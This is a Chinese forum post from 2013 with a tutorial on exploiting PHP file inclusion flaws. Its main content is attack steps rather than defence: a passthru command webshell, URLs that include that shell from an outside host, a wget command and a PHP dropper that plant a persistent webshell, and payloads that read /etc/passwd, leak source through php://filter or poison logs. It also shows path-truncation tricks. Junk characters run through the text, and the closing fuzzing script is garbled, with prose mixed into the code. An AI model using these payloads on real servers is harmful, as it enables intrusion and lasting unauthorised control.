中国网络渗透测试联盟

标题: PHP文件包含漏洞详解(包含截断方法) [打印本页]

作者: admin    时间: 2013-4-19 19:07
标题: PHP文件包含漏洞详解(包含截断方法)
一、什么才是”远程文件包含漏洞”?" f# }3 U* U) D
4 }. @# }7 T/ O: ]
回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
! U  ?- ^1 `  l- k
- |: Z& j# {- d6 ~2 m& p0 d0 v涉及到的危险函数:include(),require()和include_once(),require_once()
: ^! i) ]) X, Y, ]
- s: {6 }& o: |4 H3 mInclude:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
. ]7 _: N* Q1 _( LRequire:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。  y  w$ Y& x7 C: D
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。1 R$ q0 i. T8 }. P, f
Require_once:这个函数跟require的区别 跟上面我所讲的include和include_once是一样的。所以我就不重复了。, R2 u8 Z5 N6 Z2 J

7 Z* v) T$ I( A% sphp.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。Php4存在远程&本地,php5仅存在本地包含。* u1 c: q1 E; o4 `  ~% G9 u5 n

2 g6 G* A9 L' D* M; P$ f二、为什么要包含文件?
& j3 C+ ]% u- m6 e% D) Q: i8 m1 C$ Z) S' e9 x3 @" {7 Q8 [% h
程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比 如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想 在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的 函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?" A& m6 t$ D$ j) O

3 t* |+ X8 c1 e0 b有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:3 f  e1 g4 ~1 [! u: d

1 H% w8 ~: q3 m4 y% f3 J2 I0 sif ($_GET) {
! ?" E1 e* m) [2 g0 d        include $_GET;1 U" e* z  s; Y) ~, d
} else {
$ P( l, @3 p9 e. E/ q/ r6 i/ S        include ”home.php”;
* I+ W  \" n( i4 k$ T+ U, _}
0 L; S8 b3 r/ H4 U- B& T1 w
  ~) c. y7 s7 E$ V很正常的一段PHP代码,它是怎么运作的呢?
5 Q% H9 M0 j/ q4 Q) e1 l+ P. U4 G4 y' J8 J* M$ w/ `9 _2 _% N
上面这段代码的使用格式可能是这样的:: c+ t0 m- ?5 W" E: |7 Z
- P$ @. I1 F7 U) I% u5 U
http://hi.baidu.com/m4r10/php/index.php?page=main.php或者
$ I4 q# e7 B1 _: w9 Z& f" Bhttp://hi.baidu.com/m4r10/php/index.php?page=downloads.php
. K2 B3 q+ I: f" @. [+ p: V! m6 L8 E, \7 A1 _& ^6 E9 V  p
结合上面代码,简单说下怎么运作的:
* S. G  h+ q. z, m% E% N' k4 U% b0 ^# X2 ?: x% C1 c  m3 o# s  F
1.提交上面这个URL,在index.php中就取得这个page的值($_GET)。
+ `3 K  V3 G/ F2 L! z& C! T3 Q2.判断$_GET是不是空,若不空(这里是main.php)就用include来包含这个文件。  P6 A8 T9 R4 g) U6 i. n) ^* R
3.若$_GET空的话就执行else,来 include ”home.php” 这个文件。4 f/ A* c; t) i! z3 V

/ i5 L3 N$ m# _( n  L  P三、为什么会产生漏洞?
: V+ [+ g* |: R8 T$ H; ]" @" \. k0 R
% D; n. D* g+ D2 ?9 C* `你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们 不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //hi.baidu.com /m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取 page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以 它 include的时候就会报警告,类似下列信息:$ f! `3 q6 l* F6 g3 G" t6 n- h5 J

2 i0 S8 D2 \1 {( t, KWarning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3; z- l$ C4 ]+ i) b8 t+ ?, ?
Warning: include() [function.include]: Failed opening ’hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 3
" c1 _! o: L. ?  J& }) |( R0 V% r1 \. I& F
注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
1 t$ S2 c; w, h% W5 K' o- n2 H; L6 {- O6 f2 L( A* g
四、如何利用?
+ y0 _" G( j) a- P# J3 v" J) H4 q! ?" v. M! R, I* J
上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:
# u% L4 E& B6 b, b& Q5 ?$ Q0 r8 V# `) u6 ]
1.包含读出目标机上其它文件* s3 F8 Q1 N2 o8 i! r6 k5 m
. ?# A9 u& m. {
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http://hi.baidu.com /m4r10/php/index.php?page=./txt.txt可以读出当前路径下的txt.txt文件,也可以使用../../进行目录跳转 (在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http://hi.baidu.com/m4r10 /php/index.php?page=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出 这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning(这里是由于apache的open_basedir中限制了访问目录)。
" C+ q. L; w! C! ^8 a- F
1 S" y5 R  O, F" N6 w3 X. M8 K2.远程文件包含可运行的PHP木马
: i4 F3 A& n7 a; q* Y# r2 c8 W, h1 v+ `
如果目标主机的”allow_url_fopen”是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为 PHP格式就可以了)。* F- v: E9 L' X; G

3 h  b6 E% U1 n9 N& x9 {% E- [) E. fif (get_magic_quotes_gpc()){
; H$ u$ n3 y+ |6 ?" X* ?6 _        $_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
$ Z) ~' U% O+ f        ini_set(“max_execution_time”,0); //设定针对这个文件的执行时间,0为不限制.
- q) D. {) _4 ]7 V- T6 Z* K        echo ”M4R10开始行”;       //打印的返回的开始行提示信息
9 R0 k8 k9 V9 W4 W1 P        passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
4 [% l& ^0 W3 I; U% t; _        echo ”M4R10结束行”;       //打印的返回的结束行提示信息5 W6 P8 k7 P9 ?  n( `! ]) E
?>9 B& K6 ^1 F  |, Z+ b! H

0 f6 J: f  e3 Y* V. y$ G以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在M4R10开始行与M4R10结束行之间。把这个文件 保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:  i7 u7 S" W  w' j4 X; r4 R6 J6 R

# ~9 }- K( X5 R  p! Hhttp://hi.baidu.com/m4r10/php /index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls6 w7 s3 L# [) w4 s( t

/ E* |, s2 U% V7 r: ]$ L其中cmd后面的就是你需要执行的命令,其它常 用的命令(以*UNIX为例)如下:
! L% b1 J; Z, q; Z0 y, H; z- d+ R& o; @- |* N5 s, b6 ]
ll 列目录、文件(相当于Windows下dir)
8 X+ l4 `4 \' V9 w! k6 epwd 查看当前绝对路径- d# }- ^+ z: m: D
id whoami 查看当前用户
; A" R6 u+ }! B( C. o4 T5 Mwget 下载指定URL的文件
  _& t6 I2 x/ F2 z% P6 u" W0 s# i  |  E) g# A2 h/ y
等等其它的,你主机去BAIDU找吧,就不列举了。
1 p1 f: Z2 w( h! @, Y5 v! f, K4 U( `* y5 t
3.包含一个创建文件的PHP文件(常用)- v2 q- Z" Z  O+ [/ c6 L
3 p* z+ h1 C0 ~1 y" D3 L0 u  P6 n" B- ?
也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那 个” 伪”Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:" E( i) L+ o, S: C3 l4 Q

: }+ T7 s( t/ F/ ?( S2 [' l1)使用wget之类的命令来下载一个Webshell4 P6 f6 M0 a, u1 i; j
* d3 P6 z; J# O
这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget, 这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个 -O(–output- document=FILE,把文档写到FILE文件中) 就可以了,呵呵。
6 {3 r9 {1 j' U3 C
9 p9 M3 A& o) T  V8 _前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比 如:http://www.xxx.cn/m4r10.txt,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪 Webshell中 执行如下的URL:& q, H: H: M: C$ {

! j# W) y- h( U  Uhttp://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn /cmd.txt?cmd=wget http://www.xxx.cn/m4r10.txt -O m4r10.php
) w' ?* ]2 ~% _! K+ R5 t9 v4 p( }4 S
如果当前目录可写,就能得到 一个叫做m4r10.php的Webshell了,如果当前目录不可写,还需要想其它的办法。, t7 H6 m/ x9 F' M

2 q2 M% p: c: Z% }6 i2)使用文件来创建2 ^4 ^0 ?1 h2 d3 u7 H- y( [
  v& ~& q' d: @6 ]
前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:
$ `/ ~* Q5 u" Z. ~# f
) s3 V8 e- r0 Z6 q, X<?php
' S0 V4 B' d1 K4 l2 Y1 O& d, f$f=file_get_contents(“http://www.xxx.cn/m4r10.txt”); //打开指定路径的文件流3 R9 O( _. i# d; m# X* Q: j1 D% ~4 q
$ff=fopen(“./upload/m4r10.php”,”a”);     //寻找一个可以的目录,创建一个文件' h, h# A) k$ n! N3 o
fwrite ($ff,$f);  //把前面打开的文件流写到创建的文件里
6 x4 Y9 m4 {$ h2 efclose($ff);    //关闭保存文件
9 ~# V! n; ?1 m- l?>
9 a0 q/ w5 ^8 ^6 s/ W! V9 V& X5 r- ^) C5 ]5 p
还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以 写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/m4r10.php。然后就得到我们的Webshell了。
# D: m0 b' ~: p9 Q2 ~* @: h
, R2 d- g: i: F" c4.本地文件包含(常用); A, j3 ~# e# l. t
4 x8 v4 r7 ?0 n, s- w
典型的漏洞代码:7 s$ H- S2 _- c3 K

* }  V. W7 C* @% `( C1 J% S6 N+ n<?php( M* G2 H; J' p4 l) H0 Y
include($_GET['pages'].‘.php’);% l: \' S: \$ ?1 A
?>
& a! }' N" M( E0 a7 T7 a; J6 z% I5 D: [4 ^0 p7 ~
黑盒判断方法:
7 P( `' I5 I. v& g6 C0 H单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
  y9 ~1 p3 }0 R, t
4 z4 o# \- E" ~" Q2 U本地包含漏洞的利用(这里先忽略截断问题,下面会将截断的方法)
, |4 D" A7 p  o: i: |: Y" `4 y, s( Y! P, I
1、包含同服务器中上传的jpg、txt、rar等文件,这个是最理想的情况了。5 S- M# q# F1 _8 f, j

6 b: {3 T/ |! \: @! ]7 M: `# Q2、包含系统的各种日志,如apache日志,文件系统日志等 其中apache当记录格式为combined,一般日志都会很大,基本无法包含成功。包含log是有自动化攻击程序的。- B8 |2 D7 |( y3 N- W
其中鬼子的博客中有提到一个空格的问题。见6 Y( ?3 N; m9 H8 W" d7 N: g
《邪恶的空格-PHP本地文件包含漏洞的新突破口》 ; _3 e1 Y" a% q' _5 I
http://huaidan.org/archives/1144.html , G  p6 F8 D& ]  c" x
解决空格问题其实把一句话base64加密后再写入就可以执行了。
4 }0 I3 l3 L& r- B
, q5 f8 u4 A- s3、包含 /proc/self/environ . 这个环境变量有访问web的session信息和包含user-agent的参数。user-agent在客户端是可以修改的。参考:
% F4 g& S5 ^  Q《Shell via LFI – proc/self/environ method》) x8 n6 o& \0 n4 |: x8 g8 u
http://hi.baidu.com/root_exp/blo ... 42664fd7887d7d.html  
% F: W) w+ F0 ^. X2 d% X; |6 [- z% Q! d) w' K1 ^5 U
4、包含由php程序本身生成的文件,缓存、模版等,开源的程序成功率大。
- n/ i! a* ?% @  K6 k& Q5 u+ ], m
8 i: m- d4 G! p) h5、利用本地包含读取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源码如下* I" l  N$ l0 h$ A% k6 T
index.php?pages=php://filter/read=convert.base64-encode/resource=config
3 G6 W  L* s4 k( Y特别的情况用到readfile() 函数不是包含执行,可以直接读源码。
, a8 M) X+ X$ l' f# C0 z* s$ o- C
6、利用phpinfo页面getshell。一般大组织的web群存在phpinfo的机会挺大的。
) }1 p, M, H' w# J5 i, qpoc和介绍参考:
) p0 t' y! t7 `/ `# @《利用phpinfo信息LFI临时文件》/ v" s% u; x8 K; g9 ?
http://hi.baidu.com/idwar/blog/item/43101de153370126279791f2.html
# t. v# X/ t) m0 F: j0 H; x: I- g5 I+ t$ i: l# E
7、利用包含出错,或者包含有未初始化变量的PHP文件,只要变量未初始化就可能再次攻击 具体见:  J. x% L% Z3 b
《include()本地文件包含漏洞随想》
/ L  f3 C" K/ O/ U' Ahttp://www.2cto.com/Article/200809/29748.html3 k( {  w! J6 y6 }# T2 `; y

7 Z# m/ M0 M7 ~+ U6 m8、结合跨站使用
8 L0 a: K4 T. E+ |index.php?pages=http://127.0.0.1/path/xss.php?xss=phpcode (要考虑域信任问题)# n  g$ @6 M, L; C$ D* l
( n' R, T* x! \! h. `! S5 ]
9、包含临时文件文件。这个方法很麻烦的。参考:) l! M. F3 Q( D  i
《POST method uploads》
4 n+ o+ {8 A& }% Z- A9 P: yhttp://www.php.net/manual/en/features.file-upload.post-method.php % P$ I* [4 N7 L: L5 v
解决临时文件删除方法:慢连接 (注:前提是 file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个)8 |0 l" Z* i+ j* r8 I& y. Q3 x
windows格式:win下最长4个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)如: c:/windows/temp/php3e.tmp, p& t# R) f# A' j( n, }3 Y( K
linux格式:6个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′) 如:/tmp/phpUs7MxA& |' ~* @6 Y/ I
慢连接的两种上传代码参考:5 O8 U2 k0 I' Z3 n0 L
《PHP安全之LFI漏洞GetShell方法大阅兵》9 w0 {  i8 Z6 H+ J: A$ |
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm  
! {5 U% a% C- q
8 C5 P3 _" D5 v- e1 i& L8 X, b10、当前实在找不到写权限目录时候,注入到log中再寻找写权限目录。如注入到log., J- \4 J8 Z8 T: w3 N8 v/ d+ O% x
Linux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname
7 s( m! }/ i; A7 d( G( r0 bwindows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir5 h2 F2 R, i" a8 i+ a3 U' x
具体参考《PHP本地文件包含(LFI)漏洞利用》
6 W6 ]& }/ S8 xhttp://kingbase.org/blog/php_local_file_inclusion_exploit
# s' N7 a3 G8 k: v0 N& O, ^3 W
+ o8 k* ?8 ?+ z6 A8 l5 D* K$ c11、使用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html 其中文中提到的allow_url_fopen和allow_url_include只是保护了against URL handles标记为URL.这影响了http(s) and ftp(s)但是并没有影响php或date 这些url形式。
5 B  r% N3 I( f* s" d- D  s12、LFI判断目录是否存在和列目录,如
: [- \# ?0 k" `**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
9 Q. p$ V+ W$ _- Z- l6 D8 d! k**这个方法在TTYshell上是可以完全是可以判断的,但是在URL上有时候不可行。即使不存在dossierexistant也可以回显passwd内容。
3 p9 i4 u! b: N5 l. S4 Qindex.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00, z: J* \4 }5 L# A
**FreeBSD 《directory listing with PHP file functions》http://websec…ress.com/2009 … php-file-functions/ 列目录& e4 J. J0 Z* B! d0 M
**存在逻辑判断的时候,如不存在该目录就会返回header.php+File not found+footer.php 存在就会返回header.php+footer.php。这种逻辑很符合程序员的习惯。曾经用找到了一个目录很深的日志获得shell。+ C- c2 ~, W$ r8 X
% n: i# ]3 b4 ?, `: n: j
13、包含SESSION文件,php保存格式 sess_SESSIONID 默认位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、 /var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。
5 v- i$ C0 P: H0 _+ `5 m0 u+ Q3 E, U2 o9 M7 m+ r
14、包含 /proc/self/cmdline 或者/proc/self/fd/找到log文件 (拥有者为root,默认情况要root才能访问)4 n, H! }$ X9 T) z- p
具体参考:
( Q" g. S! b4 }6 Z% nLocal File Inclusion – 《Tricks of the Trade》) Z( k# a9 w% A3 }+ m# f
http://labs.neohapsis.com/2008/0 ... ricks-of-the-trade/  & ]3 e* H" S$ t" U" C
还有其他提到包含/var/log/auth.log的,但是这个文件默认情况也是644.
- x- {0 t& h7 C1 Q
% F4 A, y+ e" \3 i. r) l; H15、包含maillog 通常位置/var/log/maillog 这个方法也很鸡肋,具体参考:
2 }2 a0 L. Z* o7 ^《local file inclusion tricks 》
7 h( a! K( W: C+ a6 M7 E% N, u8 H链接找不到了
# ]! J: N4 I4 ^* a& g
: z) X+ C% p0 o0 L* U4 i$ E) P! H16、包含固定的文件,非常鸡肋,为了完整性也提下。如,可用中间人攻击。
1 @! O0 n- l, T' b( A7 \
  m7 p% k6 c: b; n: O突破限制截断后面的字符串技巧& A7 B' H; _' h" C" Q

+ e, s8 w) D. P1 M8 w利用本地包含时常常需要用%00来截断后面的字符串,但在GPC为ON时%00是会被转义的,那么还有其他方法么?
' M# a$ O# R3 K2 w  w% L/ Z! E+ \+ H/ q: g5 W# E; _" t
用一定数量的/突破操作系统对文件名的长度限制来截断后面的字符串(推测相对路径可用)4 }; O" u9 F4 a: i: r/ N

+ Q- b( F7 n! a0 X: i/ I& K看漏洞代码:
* B! x: n& \% m0 r3 H1 l
/ _4 a# y' D) S1 \, J$ j<?php
" Z7 _% r; ^* @% `: d' p$webpath = dirname(__FILE__)."/";
8 A7 m; j/ E" g& v& H: V; C9 \$filepath = "test.txt";3 x, ^/ O5 ]( z$ u; P
for($i =1;$i<1000;$i++){& X7 t' ?7 L# f4 D/ J7 ~0 n
$filepath .= '.';' Z* ?0 [9 z" X- D5 V$ l/ A+ l5 [( T8 d
}
6 C/ W6 ?( b& e5 Rinclude  $webpath.$filepath.".php";& |! {0 W# X' Y% k
?># j$ c6 O, J! n/ @
test.txt 代码:<?php die('OK');?>
% s) ]. Y; m! g) q  @
( }3 [& F8 ~# y. O8 S( a/ |结果截断失败,改下代码:
  A5 v9 d8 P) a! f7 ^6 O2 Q6 X6 e# I: z- W7 b% A6 |' j- O
<?php
* t- g0 n* S( C. `2 I$webpath = dirname(__FILE__)."/";8 ^% r! N  t8 E$ L
$filepath = "test.txt";
1 K0 ~6 A7 A$ ^7 h8 Vfor($i =1;$i<1000;$i++){
; B8 ?* d2 u7 {. K% q; p$filepath .= '.';" A6 F- I1 P: N3 T7 ^
}
- u1 [! x) U/ x& {6 ~include    $filepath.".php";  //相对路径( W0 d- t% F1 s) D
?>6 C: Y. P. \7 Q0 l( H/ y
6 Z; @- h6 a( G* P. p; F! O1 x
这次成功。, k9 a: \& b4 e% ^4 B5 ~
; L2 S7 J5 X4 J+ q( y
以上是windows下的方法,其实linux也可以:
9 h5 ^& n: c7 ~* d* t, {7 q" j& p7 `+ L
<?php% w4 w( p2 O4 ~) v
$a='';9 v9 m2 L, r  y3 h9 G$ |
for($i=0;$i<=4071;$i++) {. ^) o' z7 i$ w6 y3 H
$a .= '/';5 k7 k9 r; w) x# c9 y" W4 B- Y
}
! [$ A. `  f) d* [$a = 'test.txt'.$a;                //完整的路径为/var/www/test/test.txt
+ i- T8 I4 e+ ]# k2 c+ Brequire_once($a.'.php');" t* S- g  n6 o! ?" n
?>. D* q" k- y4 v0 I0 C. d
6 k+ Y1 A) S" f2 o
include截断2 }9 J  e5 A+ @9 N" Y6 F% N
<?php % V- `4 p& j7 `% S% t. Q( `
include $_GET['action'].".php"; ?>提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?
- ]9 D6 ^4 `! I  ^& W4 S
$ m8 m, ?: _$ A" C1 C* m; w肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:5 H7 g/ B! l2 z- t
0 M: \* ?0 W6 t2 V

" E6 W! T% e! f. P% X, U<?php////////////////////////var5.php代码:////include $_GET['action'].".php"; ////print strlen(realpath("./"))+strlen($_GET['action']);  ///////////////////ini_set('max_execution_time',
4 |* K4 m4 j& M" |+ J                        0);$str='';for($i=0;$i<50000;$i++){        $str=$str."/";        $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);        //1.txt里的代码为print 'hi';        if
, @  E6 X0 ?! r2 T4 F4 w                        (strpos($resp,' G7 @1 j& \) R# n
                        'hi')4 p! A- M. F; s3 r) R6 E" U8 ^$ Y
                        !==
- X* I  D) A) [* m        经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断 win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。 对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])                false){                print $i;                exit;        }}?>% P. u- H+ n5 {# ]& ]





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2